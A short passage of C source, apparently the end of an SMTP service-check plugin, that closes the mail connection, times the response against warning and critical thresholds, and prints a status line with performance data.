")); } } /* tell the server we're done */ smtp_quit(); /* finally close the connection */ close (sd); } /* reset the alarm */ alarm (0); microsec = deltime (tv); elapsed_time = (double)microsec / 1.0e6; if (result == STATE_OK) { if (check_critical_time && elapsed_time > critical_time) result = STATE_CRITICAL; else if (check_warning_time && elapsed_time > warning_time) result = STATE_WARNING; } printf (_("SMTP %s - %s%.3f sec. response time%s%s|%s\n"), state_text (result), error_msg, elapsed_time, verbose?", ":"", verbose?buffer:"", fperfdata ("time", elapsed_time, "s", (int)check_warning_time, warning_time, (int)check_critical_time, critical_time, TRUE, 0, FALSE, 0)); return result; }